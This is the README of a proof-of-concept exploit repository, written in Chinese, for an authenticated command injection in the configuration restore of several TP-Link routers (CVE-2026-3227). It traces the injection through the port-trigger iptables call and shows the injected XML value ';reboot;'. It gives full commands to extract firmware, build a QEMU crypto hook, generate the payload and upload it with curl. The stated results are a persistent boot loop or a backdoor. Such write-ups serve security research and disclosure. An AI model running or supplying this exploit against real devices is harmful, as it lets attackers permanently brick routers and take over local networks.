TP-Link路由器固件中经过身份验证的OS命令注入的概念验证。包含解密、基于QEMU的加密钩子,以及用于持久启动循环或后门部署的15字符载荷生成。
更多信息请参阅 https://www.cve.org/CVERecord?id=CVE-2026-3227
TP-Link 路由器固件中存在一个持久化的、经过身份验证的 OS 命令注入漏洞,可导致设备变砖或潜在的局域网接管。
免责声明:本仓库包含针对已修补漏洞的概念验证(PoC)代码。其仅用于教育目的和安全研究人员参考。
多款 TP-Link 路由器(包括 TL-WR802N、TL-WR841N 和 TL-WR840N)的配置备份/恢复机制中存在命令注入漏洞。拥有管理权限的攻击者可以下载路由器配置、对其进行解密、将恶意 OS 命令(最多 15 个字符)注入特定 XML 字段、重新加密,然后将其上传回设备。
当路由器应用该配置时(例如在端口触发事件期间或启动时),注入的载荷将以 root 身份执行。这可用于造成持久性引导循环(通过绕过恢复出厂设置使设备永久变砖)或可能启用用于局域网横向移动的持久性后门。
在探索路由器的配置备份功能时,我决定对 httpd 二进制文件和 libcmm.so 库进行逆向工程,以了解配置文件是如何加密和解析的。
qemu-user 模拟路由器的架构,并在运行时挂钩路由器原始的 httpd 二进制文件(create_config.c)。这样我就可以直接从我的 Python PoC 中调用路由器原生的加密函数,完美模拟原始加密格式。该漏洞的根源在于产品解析加密配置 blob 并在运行时应用它的方式。在端口触发配置路径中,实现使用用户可控字段构造 shell 命令,且未进行适当的清理。
具体来说,函数 oal_pt_addPortTrigger 调用了:
util_execSystem("oal_pt_addPortTrigger",
"iptables -A FORWARD_PT -i br+ -p %s -j TRIGGER --trigger-type out --trigger-proto %s --trigger-match %d-%d --trigger-relate %d-%d",
&local_48, &local_44, *(undefined4 *)(param_2+4), *(undefined4 *)(param_2+4), *psVar3, psVar3[1]);
%s 格式字符串由直接从上传的 XML 配置中解析出的接口字符串(X_TP_IfName)填充。
执行流程:
http_cgi_gdpr_main -> rdp_setObj -> rsl_setObj -> oal_pt_addPortTriggeroal_pt_addPortTrigger 调用 forward_parsePtOpenPort 解析端口列表。iptables 命令字符串,并通过 util_execSystem(包装了 system())执行。通过修改解密后的 XML 以包含:
<X_TP_IfName val=";reboot;"/>
该命令会在启动时的接口初始化期间或端口触发事件发生时执行。由于 payload 被限制为 15 个字符,利用开发需要采用紧凑的命令执行技术。
为避免分发受版权保护的 TP-Link 二进制文件,此 PoC 要求您自行提取路由器的文件系统,以便通过自定义 QEMU hook 使用原生加密库。
qemu-mipsel 和交叉编译器(gcc-mipsel-linux-gnu)pip install pycryptodome)binwalk -Me <firmware.bin> 提取的固件squashfs-root 目录复制到本项目的 python_utils/ 中。mipsel-linux-gnu-gcc -shared -fPIC -g -O0 c_hook/create_config.c -o python_utils/create_config.so
config.bin)。python3 generate_payload.py -i config.bin -o exploit.bin -p ";reboot;"
curl -X POST "http://192.168.0.1/cgi/confup" \
-H "User-Agent: Mozilla/5.0" \
-H "Referer: http://192.168.0.1/mainFrame.htm" \
-H "Origin: http://192.168.0.1" \
-H "Cookie: JSESSIONID=<JSESSIONID_COOKIE>" \
-F "[email protected];type=application/octet-stream"
root 身份执行。如果您使用了 ;reboot;,路由器将立即重启并进入持久性引导循环。